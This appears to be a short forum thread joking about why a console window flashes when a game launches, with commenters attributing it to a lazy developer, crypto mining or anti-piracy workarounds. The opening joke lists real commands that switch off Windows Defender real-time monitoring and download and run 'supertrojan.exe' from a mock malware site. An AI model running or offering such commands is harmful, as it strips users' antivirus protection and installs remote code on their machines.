Set-MpPreference -DisableRealtimeMonitoring $true  

curl https://malwarefo.ru/supertrojan.exe

./supertrojan.exe
./game.exe
exit
0

Real answer is just that they're executing a process without setting the window style to hidden. It doesn't mean anything other than the dev is lazy / inexperienced.

Probably mining for bitcoin

Do you really want to know the truth or do you want to play your new game \o/

I always thought it was running anti-"anti-piracy" measures before launching the game. I suppose it could be malware too, which seems like what the meme is getting at.